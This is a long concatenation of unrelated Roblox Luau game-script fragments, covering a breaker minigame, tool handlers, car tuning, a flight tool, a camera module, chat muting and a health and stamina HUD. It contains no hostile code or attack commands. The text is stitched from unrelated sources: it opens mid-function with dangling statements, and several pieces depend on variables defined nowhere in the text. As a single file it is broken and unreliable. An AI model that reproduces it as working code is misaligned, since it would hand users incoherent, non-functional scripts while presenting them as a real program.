l__SurfaceGui__19.Frame.Code.Frame.BackgroundTransparency = 0; v16.Box.Beep.Pitch = 1.5; else l__SurfaceGui__19.Frame.Code.Frame.BackgroundTransparency = 1; v16.Box.Beep.Pitch = 1; end; v16.Box.Beep:Play(); task.wait(0.66); if u11 == true then break; end; end; if u11 == true then break; end; wait(1.33); if v45 >= 5 then spawn(function() for v48, v49 in pairs(v16:GetChildren()) do if v49.Name == "BreakerSwitch" then local v50 = v49:GetAttribute("ID"); v49.Hint.TextLabel.TextTransparency = 1; v49.Hint.TextLabel.Text = v50; v49.Hint.Enabled = true; l__TweenService__2:Create(v49.Hint.TextLabel, TweenInfo.new(3, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut, 0, v50 / 20), { TextTransparency = 0 }):Play(); end; end; end); end; local v51 = v20(); l__SurfaceGui__19.Frame.Code.Text = "..."; l__SurfaceGui__19.Frame.Code.Frame.Visible = false; l__SurfaceGui__19.Frame.Bar.Filled:TweenSize(UDim2.new(v51 / 10, 0, 1, 0), "InOut", "Linear", 3, true); v16.Box.Progress:Play(); l__TweenService__2:Create(v16.Box.Progress, TweenInfo.new(3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), { PlaybackSpeed = 1.01 + v51 / 10 }):Play(); wait(3); if u11 == true then break; end; v16.Box.Progress:Stop(); if v51 == 10 then if v43 == 3 then l__MinigameBackout__40.Visible = false; end; pcall(function() v16.Box.Correct:Play(); u1.camShaker:ShakeOnce(1, 1, 0.06, 0.5); local v52 = l__SurfaceGui__19.Frame.Squares[tostring(v43)]; v52.BackgroundTransparency = 0; v52.Size = UDim2.new(0, 9, 0, 9); v52:TweenSize(UDim2.new(0, 5, 0, 5), "In", "Quart", 0.5, true); l__SurfaceGui__19.Frame.Squares.Text = v43 .. "/3"; wait(1); v16.Box.Progress.PlaybackSpeed = 1.01; l__SurfaceGui__19.Frame.Bar.Filled:TweenSize(UDim2.new(0, 0, 1, 0), "InOut", "Quad", 0.5, true); if v43 == 3 then for v53, v54 in pairs(v16:GetChildren()) do if v54.Name == "BreakerSwitch" then delay(v54:GetAttribute("ID") / 20, function() u15(v54, true); end); end; end; return; end; for v55, v56 in pairs(v16:GetChildren()) do if v56.Name == "BreakerSwitch" then delay(v56:GetAttribute("ID") / 20, function() if v56:GetAttribute("Enabled") ~= false then u15(v56, false); end; end); end; end; wait(3); end); break; end; end; if u11 == true then break; end; end; if u11 == true then return; end; print("SENT SIGNAL"); u1.remotes:WaitForChild("EBF"):FireServer(); l__SurfaceGui__19.Frame.Code.Visible = false; l__SurfaceGui__19.Frame.Squares.Visible = false; l__SurfaceGui__19.Frame.Line.Visible = false; l__SurfaceGui__19.Frame.Bar.Visible = false; l__SurfaceGui__19.Frame.TextLabel.Visible = true; wait(1); u17(); end; end); coroutine.resume(u8); end; u1.remotes:WaitForChild("EngageMinigame").OnClientEvent:Connect(function(...) u7(...); end);
-- FUNCTIONS --
Tool.Equipped:Connect(function() SkillsHandler:FireServer("Equip") Char = Tool.Parent HumRP = Char:WaitForChild("HumanoidRootPart") Humanoid = Char:WaitForChild("Humanoid") Animations = { ["Z"] = Humanoid:LoadAnimation(script.Animations.Z), ["X"] = Humanoid:LoadAnimation(script.Animations.X), ["C"] = Humanoid:LoadAnimation(script.Animations.C), ["V"] = Humanoid:LoadAnimation(script.Animations.V), ["R"] = Humanoid:LoadAnimation(script.Animations.R), } end) Tool.Unequipped:Connect(function() SkillsHandler:FireServer("Unequip") end)
--[=[ Creates an immediately resolved Promise with the given value. @param ... any @return Promise<...any> ]=]
function Promise.resolve(...) local length, values = pack(...) return Promise._new(debug.traceback(nil, 2), function(resolve) resolve(unpack(values, 1, length)) end) end
--[[Transmission]]
Tune.TransModes = {"Auto","Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.4 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 5.5 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.5 , --[[ 3 ]] 1.95 , --[[ 4 ]] 1.40 , --[[ 5 ]] 0.80 , --[[ 6 ]] 0.55 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.
function DbgVisualizeHit(atCF: CFrame, wasPierce: boolean): SphereHandleAdornment? if ClientSettings.Debug.Value == false then return nil end local adornment = Instance.new("SphereHandleAdornment") adornment.Adornee = workspace.Terrain adornment.CFrame = atCF adornment.Radius = 0.1 adornment.Transparency = 0.25 adornment.Color3 = (wasPierce == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2) adornment.Parent = GetFastCastVisualizationContainer() Debris:AddItem(adornment, 3) return adornment end
--[=[ @return any Returns the current value for the given player. This value will depend on if `SetFor` or `SetFilter` has affected the custom value for the player. If so, that custom value will be returned. Otherwise, the top-level value will be used (e.g. value from `Set`). ```lua -- Set top level data: remoteProperty:Set("Data") print(remoteProperty:GetFor(somePlayer)) --> "Data" -- Set custom data: remoteProperty:SetFor(somePlayer, "CustomData") print(remoteProperty:GetFor(somePlayer)) --> "CustomData" -- Set top level again, overriding custom data: remoteProperty:Set("NewData") print(remoteProperty:GetFor(somePlayer)) --> "NewData" -- Set custom data again, and set top level without overriding: remoteProperty:SetFor(somePlayer, "CustomData") remoteProperty:SetTop("Data") print(remoteProperty:GetFor(somePlayer)) --> "CustomData" -- Clear custom data to use top level data: remoteProperty:ClearFor(somePlayer) print(remoteProperty:GetFor(somePlayer)) --> "Data" ``` ]=]
function RemoteProperty:GetFor(player: Player): any local playerValue = self._perPlayer[player] local value = if playerValue == nil then self._value elseif playerValue == None then nil else playerValue return value end
-- Import relevant references
local Selection = Core.Selection local Support = Core.Support local Security = Core.Security
-- Enjoy your working pedals and shifting sound! -Mayonez_Mercenary
-- CONSTANTS
local GuiLib = script.Parent.Parent local Lazy = require(GuiLib:WaitForChild("LazyLoader")) local UIS = game:GetService("UserInputService") local RUNSERVICE = game:GetService("RunService") local DEADZONE2 = 0.15^2 local FLIP_THUMB = Vector3.new(1, -1, 1) local VALID_PRESS = { [Enum.UserInputType.MouseButton1] = true; [Enum.UserInputType.Touch] = true; } local VALID_MOVEMENT = { [Enum.UserInputType.MouseMovement] = true; [Enum.UserInputType.Touch] = true; }
--// All global vars will be wiped/replaced except script --// All guis are autonamed client.Variables.CodeName..gui.Name --// Be sure to update the console gui's code if you change stuff
return function(data) if not data.Question then return end local gTable = data.gTable local baseClip = script.Parent.Parent.BaseClip local duration = data.Duration or data.Timeout local toReturn local confirmationTemplate = baseClip.Frame local confirmationClone = confirmationTemplate confirmationClone.Parent = baseClip confirmationClone.Position = UDim2.new(0.5,-210,0,-confirmationClone.Size.Y.Offset) confirmationClone.Visible = true local Body = confirmationClone:WaitForChild('Body') local Options = Body:WaitForChild('Options') local Confirm,Cancel = Options:WaitForChild('Confirm'),Options:WaitForChild('Cancel') local commandText = Body:WaitForChild('Command') local title = confirmationTemplate.Top.Title commandText.Text = data.Subtitle or " " Body.Ques.Text = data.Question or "Unknown" title.Text = data.Title or "Yes/No Prompt" Body.Options.Cancel.Text = data.No or "No" Body.Options.Confirm.Text = data.Yes or "Yes" gTable:Ready() gTable.CustomDestroy = function() gTable.CustomDestroy = nil gTable.ClearEvents() if toReturn == nil then toReturn = data.No or "No" end pcall(function() confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then confirmationClone:Destroy() end end) wait(0.3) end) gTable:Destroy() end confirmationClone:TweenPosition(UDim2.new(0.5,-210,0.5,-70),"Out",'Quint',0.3,true) local Confirming; Confirming = gTable.BindEvent(Confirm.MouseButton1Click, function() Confirming:Disconnect() confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then confirmationClone:Destroy() end end) toReturn = data.Yes or "Yes" wait(0.3) gTable:Destroy() end) local Cancelling; Cancelling = gTable.BindEvent(Cancel.MouseButton1Click, function() Cancelling:Disconnect() confirmationClone:TweenPosition(UDim2.new(0.5,-210,1,0),"Out",'Quint',0.3,true,function(Stat) if Stat == Enum.TweenStatus.Completed then confirmationClone:Destroy() end end) toReturn = data.No or "No" wait(0.3) gTable:Destroy() end) local start = tick() repeat wait() until toReturn ~= nil or (duration and (tick()-duration) > duration) if toReturn == nil then toReturn = false end return toReturn end
--[[ class Spring Description: A physical model of a spring, useful in many applications. Properties only evaluate upon index making this model good for lazy applications API: Spring = Spring.new(number position) Creates a new spring in 1D Spring = Spring.new(Vector3 position) Creates a new spring in 3D Spring.Position Returns the current position Spring.Velocity Returns the current velocity Spring.Target Returns the target Spring.Damper Returns the damper Spring.Speed Returns the speed Spring.Target = number/Vector3 Sets the target Spring.Position = number/Vector3 Sets the position Spring.Velocity = number/Vector3 Sets the velocity Spring.Damper = number [0, 1] Sets the spring damper, defaults to 1 Spring.Speed = number [0, infinity) Sets the spring speed, defaults to 1 Spring:TimeSkip(number DeltaTime) Instantly skips the spring forwards by that amount of now Spring:Impulse(number/Vector3 velocity) Impulses the spring, increasing velocity by the amount given ]]
local Spring = {}
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") RunService = game:GetService("RunService") Camera = game:GetService("Workspace").CurrentCamera Animations = {} LocalObjects = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") Rate = (1 / 60) SpeedMultiplier = 0.5 CameraSpeed = { X = 40, Z = 60 } Controls = { Forward = { Mode = false, Keys = {Key = "w", ByteKey = 17} }, Backward = { Mode = false, Keys = {Key = "s", ByteKey = 18} }, Left = { Mode = false, Keys = {Key = "a", ByteKey = 20} }, Right = { Mode = false, Keys = {Key = "d", ByteKey = 19} }, } ToolEquipped = false function HandleFlightControl() if not CheckIfAlive() then return end if FightMonitor then FightMonitor:disconnect() end FightMonitor = Torso.ChildAdded:connect(function(Child) if Flying then return end if Child.Name == "FlightHold" then local FlightSpin = Torso:FindFirstChild("FlightSpin") local FlightPower = Torso:FindFirstChild("FlightPower") local FlightHold = Torso:FindFirstChild("FlightHold") if not FlightSpin or not FlightPower or not FlightHold then return end Flying = true Humanoid.WalkSpeed = 0 Humanoid.PlatformStand = true Humanoid.AutoRotate = false DisableJump(true) Torso.Velocity = Vector3.new(0, 0, 0) Torso.RotVelocity = Vector3.new(0, 0, 0) while Flying and FlightSpin.Parent and FlightPower.Parent and FlightHold.Parent and CheckIfAlive() do local NewPush = Vector3.new(0, 0, 0) local ForwardVector = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(0, 0, -1)) local SideVector = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(-1, 0, 0)) local CoordinateFrame = Camera.CoordinateFrame local localControlVector = CFrame.new(Vector3.new(0,0,0),CoordinateFrame.lookVector*Vector3.new(1,0,1)):vectorToObjectSpace(Humanoid.MoveDirection) NewPush = NewPush + ((ForwardVector * CameraSpeed.Z * -localControlVector.z*2) or NewPush) NewPush = NewPush + ((SideVector * CameraSpeed.X * -localControlVector.x*2) or NewPush) --NewPush = (NewPush + (((Controls.Forward.Mode and not Controls.Backward.Mode) and (ForwardVector * CameraSpeed.Z)) or ((not Controls.Forward.Mode and Controls.Backward.Mode) and (ForwardVector * CameraSpeed.Z * -1)) or NewPush)) --NewPush = (NewPush + (((Controls.Left.Mode and not Controls.Right.Mode) and (SideVector * CameraSpeed.X)) or ((not Controls.Left.Mode and Controls.Right.Mode) and (SideVector * CameraSpeed.X * -1)) or NewPush)) FlightSpin.cframe = CFrame.new(Vector3.new(0, 0, 0), ForwardVector) if NewPush.magnitude < 1 then FlightHold.maxForce = Vector3.new(FlightHold.P, FlightHold.P, FlightHold.P) FlightPower.maxForce = Vector3.new(0, 0, 0) FlightHold.position = Torso.Position else FlightHold.maxForce = Vector3.new(0, 0, 0) FlightPower.maxForce = Vector3.new((FlightPower.P * 100), (FlightPower.P * 100), (FlightPower.P * 100)) end FlightPower.velocity = NewPush wait(Rate) end Flying = false if CheckIfAlive() then Torso.Velocity = Vector3.new(0, 0, 0) Torso.RotVelocity = Vector3.new(0, 0, 0) Humanoid.WalkSpeed = 16 Humanoid.PlatformStand = false Humanoid.AutoRotate = true DisableJump(false) Humanoid:ChangeState(Enum.HumanoidStateType.Freefall) end end end) end function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end end end function DisableJump(Boolean) if PreventJump then PreventJump:disconnect() end if Boolean then PreventJump = Humanoid.Changed:connect(function(Property) if Property == "Jump" then Humanoid.Jump = false end end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function KeyPress(Key, Down) local Key = string.lower(Key) local ByteKey = string.byte(Key) for i, v in pairs(Controls) do if Key == v.Keys.Key or ByteKey == v.Keys.ByteKey then Controls[i].Mode = Down end end end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("HumanoidRootPart") ToolEquipped = true if not CheckIfAlive() then return end Mouse.KeyDown:connect(function(Key) KeyPress(Key, true) end) Mouse.KeyUp:connect(function(Key) KeyPress(Key, false) end) Spawn(HandleFlightControl) end function Unequipped() Flying = false LocalObjects = {} for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end for i, v in pairs({PreventJump, FightMonitor}) do if v then v:disconnect() end end for i, v in pairs(Controls) do Controls[i].Mode = false end Animations = {} ToolEquipped = false end function InvokeServer(mode, value) local ServerReturn pcall(function() ServerReturn = ServerControl:InvokeServer(mode, value) end) return ServerReturn end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare on soundscript, Truenus on script ]]
wait(0.4) local car = script.Parent.Car.Value local revon = car.DriveSeat.Rev local revoff = car.DriveSeat.RevOFF local throttle = script.Parent.Values.Throttle throttle.Changed:connect(function() if throttle.Value == 1 then revon.Volume=0.50 revoff.Volume=0.75 wait(0.025) revon.Volume=0.50 revoff.Volume=0.50 wait(0.025) revon.Volume=0.75 revoff.Volume=0.25 wait(0.025) revon.Volume=1 revoff.Volume=0 else revon.Volume=0.75 revoff.Volume=0.25 wait(0.025) revon.Volume=0.50 revoff.Volume=0.50 wait(0.025) revon.Volume=0.25 revoff.Volume=0.75 wait(0.025) revon.Volume=0 revoff.Volume=1 end end)
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Belgium hat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(1, 1.2, 1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentForward = Vector3.new (-0, -0, -1) h.AttachmentPos = Vector3.new(0, -0.2, 0.05) h.AttachmentRight = Vector3.new (1, 0, 0) h.AttachmentUp = Vector3.new (0, 1, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
------------------ --SPAWNING-- ------------------
miked=script.Parent itlh=miked.Torso:findFirstChild("Left Hip") itlh.Part0=miked.Torso itlh.Part1=miked:findFirstChild("Left Leg") itlh.C0=CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) itrh=miked.Torso:findFirstChild("Right Hip") itrh.Part0=miked.Torso itrh.Part1=miked:findFirstChild("Right Leg") itrh.C0=CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) itls=miked.Torso:findFirstChild("Left Shoulder") itls.Part1=miked.Torso itls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) itls.Part0=miked:findFirstChild("Left Arm") itrs=miked.Torso:findFirstChild("Right Shoulder") itrs.Part1=miked.Torso itrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, -1, 0, 1, 0, 0) itrs.Part0=miked:findFirstChild("Right Arm") miked.Head:makeJoints() wait(3) miked:findFirstChild("Left Arm").Anchored = false miked:findFirstChild("Right Arm").Anchored = false
-- New for AllCameraInLua support
local function shouldUseOcclusionModule() local player = PlayersService.LocalPlayer if player and game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CameraType == Enum.CameraType.Custom then return true end return false end local function Update() if EnabledCamera then EnabledCamera:Update() end if EnabledOcclusion and not VRService.VREnabled then EnabledOcclusion:Update(EnabledCamera) end if shouldUsePlayerScriptsCamera() then TransparencyController:Update() end end local function SetEnabledCamera(newCamera) if EnabledCamera ~= newCamera then if EnabledCamera then EnabledCamera:SetEnabled(false) end EnabledCamera = newCamera if EnabledCamera then EnabledCamera:SetEnabled(true) end end end local function OnCameraMovementModeChange(newCameraMode) if newCameraMode == Enum.DevComputerMovementMode.ClickToMove.Name then if FFlagUserNoCameraClickToMove then --No longer responding to ClickToMove here! return end ClickToMove:Start() SetEnabledCamera(nil) TransparencyController:SetEnabled(true) else local currentCameraType = workspace.CurrentCamera and workspace.CurrentCamera.CameraType if VRService.VREnabled and currentCameraType ~= Enum.CameraType.Scriptable then SetEnabledCamera(VRCamera) TransparencyController:SetEnabled(false) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Classic.Name then SetEnabledCamera(ClassicCamera) TransparencyController:SetEnabled(true) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and newCameraMode == Enum.ComputerCameraMovementMode.Follow.Name then SetEnabledCamera(FollowCamera) TransparencyController:SetEnabled(true) elseif (currentCameraType == Enum.CameraType.Custom or not AllCamerasInLua) and (isOrbitalCameraEnabled and (newCameraMode == Enum.ComputerCameraMovementMode.Orbital.Name)) then SetEnabledCamera(OrbitalCamera) TransparencyController:SetEnabled(true) elseif AllCamerasInLua and CameraTypeEnumMap[currentCameraType] then SetEnabledCamera(CameraTypeEnumMap[currentCameraType]) TransparencyController:SetEnabled(false) else -- Our camera movement code was disabled by the developer SetEnabledCamera(nil) TransparencyController:SetEnabled(false) end ClickToMove:Stop() end local useOcclusion = shouldUseOcclusionModule() local newOcclusionMode = getCameraOcclusionMode() if EnabledOcclusion == Invisicam and (newOcclusionMode ~= Enum.DevCameraOcclusionMode.Invisicam or (not useOcclusion)) then Invisicam:Cleanup() end -- PopperCam does not work with OrbitalCamera, as OrbitalCamera's distance can be fixed. if useOcclusion then if newOcclusionMode == Enum.DevCameraOcclusionMode.Zoom and ( isOrbitalCameraEnabled and newCameraMode ~= Enum.ComputerCameraMovementMode.Orbital.Name ) then EnabledOcclusion = PopperCam elseif newOcclusionMode == Enum.DevCameraOcclusionMode.Invisicam then EnabledOcclusion = Invisicam else EnabledOcclusion = nil end else EnabledOcclusion = nil end end local function OnCameraTypeChanged(newCameraType) if newCameraType == Enum.CameraType.Scriptable then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end local function OnCameraSubjectChanged(newSubject) TransparencyController:SetSubject(newSubject) end local function OnNewCamera() OnCameraMovementModeChange(getCurrentCameraMode()) local currentCamera = workspace.CurrentCamera if currentCamera then if cameraSubjectChangedConn then cameraSubjectChangedConn:disconnect() end if cameraTypeChangedConn then cameraTypeChangedConn:disconnect() end cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):connect(function() OnCameraSubjectChanged(currentCamera.CameraSubject) end) cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):connect(function() OnCameraMovementModeChange(getCurrentCameraMode()) OnCameraTypeChanged(currentCamera.CameraType) end) OnCameraSubjectChanged(currentCamera.CameraSubject) OnCameraTypeChanged(currentCamera.CameraType) end end local function OnPlayerAdded(player) workspace.Changed:connect(function(prop) if prop == 'CurrentCamera' then OnNewCamera() end end) player.Changed:connect(function(prop) OnCameraMovementModeChange(getCurrentCameraMode()) end) GameSettings.Changed:connect(function(prop) OnCameraMovementModeChange(getCurrentCameraMode()) end) RunService:BindToRenderStep("cameraRenderUpdate", Enum.RenderPriority.Camera.Value, Update) OnNewCamera() OnCameraMovementModeChange(getCurrentCameraMode()) end do while PlayersService.LocalPlayer == nil do PlayersService.PlayerAdded:wait() end hasLastInput = pcall(function() lastInputType = UserInputService:GetLastInputType() UserInputService.LastInputTypeChanged:connect(function(newLastInputType) lastInputType = newLastInputType end) end) OnPlayerAdded(PlayersService.LocalPlayer) end local function OnVREnabled() OnCameraMovementModeChange(getCurrentCameraMode()) end VRService:GetPropertyChangedSignal("VREnabled"):connect(OnVREnabled)
-- This is pcalled because the SetCore methods may not be released yet.
pcall(function() PlayerBlockedEvent = StarterGui:GetCore("PlayerBlockedEvent") PlayerMutedEvent = StarterGui:GetCore("PlayerMutedEvent") PlayerUnBlockedEvent = StarterGui:GetCore("PlayerUnblockedEvent") PlayerUnMutedEvent = StarterGui:GetCore("PlayerUnmutedEvent") end) function SendSystemMessageToSelf(message) local currentChannel = ChatWindow:GetCurrentChannel() if currentChannel then local messageData = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = currentChannel.Name, IsFiltered = true, MessageLength = string.len(message), Message = trimTrailingSpaces(message), MessageType = ChatConstants.MessageTypeSystem, Time = os.time(), ExtraData = nil, } currentChannel:AddMessageToChannel(messageData) end end function MutePlayer(player) local mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("MutePlayerRequest") if mutePlayerRequest then return mutePlayerRequest:InvokeServer(player.Name) end return false end if PlayerBlockedEvent then PlayerBlockedEvent.Event:connect(function(player) if MutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenBlocked", string.format("Speaker '%s' has been blocked.", player.Name) ), "{RBX_NAME}",player.Name ) ) end end) end if PlayerMutedEvent then PlayerMutedEvent.Event:connect(function(player) if MutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenMuted", string.format("Speaker '%s' has been muted.", player.Name) ), "{RBX_NAME}", player.Name ) ) end end) end function UnmutePlayer(player) local unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("UnMutePlayerRequest") if unmutePlayerRequest then return unmutePlayerRequest:InvokeServer(player.Name) end return false end if PlayerUnBlockedEvent then PlayerUnBlockedEvent.Event:connect(function(player) if UnmutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenUnBlocked", string.format("Speaker '%s' has been unblocked.", player.Name) ), "{RBX_NAME}",player.Name ) ) end end) end if PlayerUnMutedEvent then PlayerUnMutedEvent.Event:connect(function(player) if UnmutePlayer(player) then SendSystemMessageToSelf( string.gsub( ChatLocalization:Get( "GameChat_ChatMain_SpeakerHasBeenUnMuted", string.format("Speaker '%s' has been unmuted.", player.Name) ), "{RBX_NAME}",player.Name ) ) end end) end
--[[Algemado.Changed:Connect(function() Stance:FireServer(Stances,Virar,Rendido.Value) end)]]
Humanoid.Died:Connect(function() TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play() Main.Visible = false end) local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 = Color3.fromRGB(150, 0, 0)} ) BleedTween:Play() saude:GetAttributeChangedSignal("Surrender"):Connect(function() local Valor = saude:GetAttribute("Surrender") Evt.Stance:FireServer(nil,nil,Valor) end) saude:GetAttributeChangedSignal("Bleeding"):Connect(function() Main.Poses.Bleeding.Visible = saude:GetAttribute("Bleeding") end) saude:GetAttributeChangedSignal("Injured"):Connect(function() local Valor = saude:GetAttribute("Injured") if Valor == true then TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play() TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play() TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play() else TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play() TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play() TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play() end end) local a = Main.Vest local b = Main.Helm local Ener = Main.Poses.Energy function Vest() if Protecao.VestProtect.Value <= 0 then TS:Create(a, TweenInfo.new(1), {ImageTransparency = 1} ):Play() else TS:Create(a, TweenInfo.new(1), {ImageTransparency = .125} ):Play() end end function Helmet() if Protecao.HelmetProtect.Value <= 0 then TS:Create(b, TweenInfo.new(1), {ImageTransparency = 1} ):Play() else TS:Create(b, TweenInfo.new(1), {ImageTransparency = .125} ):Play() end end function Stamina() if ServerConfig.EnableStamina then if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue) Ener.Visible = true elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue) Ener.Visible = true elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then Ener.Visible = false end else saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue Ener.Visible = false end end Vest() Helmet() Stamina() Protecao.VestProtect.Changed:Connect(Vest) Protecao.HelmetProtect.Changed:Connect(Helmet) saude.Variaveis.Stamina.Changed:Connect(Stamina) function L_150_.Update() if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20 Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0) end end maxAir = 100 air = maxAir lastHealth = 100 lastHealth2 = 100 maxWidth = 0.96 local Nadando = false Humanoid.StateChanged:connect(function(state) if state == Enum.HumanoidStateType.Swimming then Nadando = true else Nadando = false end end) game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update) while wait() do if ServerConfig.CanDrown and player.Character:FindFirstChild("Head") then local min = player.Character.Head.Position - (.1 * player.Character.Head.Size) local max = player.Character.Head.Position + (.1 * player.Character.Head.Size) local region = Region3.new(min,max):ExpandToGrid(4) local material = workspace.Terrain:ReadVoxels(region,4)[1][1][1] if player.Character.Humanoid.Health > 0 then if material == Enum.Material.Water then if air > 0 then air = air-0.15 elseif air <= 0 then air = 0 player.Character.Humanoid.Health = 0 end else if air < maxAir then air = air + .5 end end end if air <= 50 then script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100) script.Parent.Frame.Oxygen.Visible = true elseif air < maxAir then script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100) script.Parent.Frame.Oxygen.Visible = true elseif air >= maxAir then script.Parent.Frame.Oxygen.Visible = false end script.Parent.Efeitos.Oxigen.ImageTransparency = air/100 if air <= 25 then script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25 end end end
--Green is info if you are confused--
